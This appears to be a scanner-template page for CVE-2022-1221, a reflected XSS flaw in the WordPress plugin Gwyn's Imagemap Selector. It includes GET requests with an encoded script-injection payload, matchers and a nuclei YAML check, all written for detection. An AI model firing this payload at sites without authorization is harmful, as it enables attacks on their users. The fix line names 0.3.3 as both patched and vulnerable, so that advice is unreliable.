CVE-2022-1221· gwyn\'s imagemap selector project / gwyn\'s imagemap selector· CWE-79
WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script> popup-" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-1221 -u <target>
The full check
id: CVE-2022-1221
info:
name: WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
author: veshraj
severity: medium
description: |
Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.
reference:
- https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
- https://nvd.nist.gov/vuln/detail/CVE-2022-1221
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1221
cwe-id: CWE-79
epss-score: 0.01876
epss-percentile: 0.79593
cpe: cpe:2.3:a:gwyn\'s_imagemap_selector_project:gwyn\'s_imagemap_selector:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: gwyn\'s_imagemap_selector_project
product: gwyn\'s_imagemap_selector
framework: wordpress
tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,gwyn\'s_imagemap_selector_project,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script> popup-"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
- https://nvd.nist.gov/vuln/detail/CVE-2022-1221
- https://github.com/ARPSyndicate/kenzer-templates
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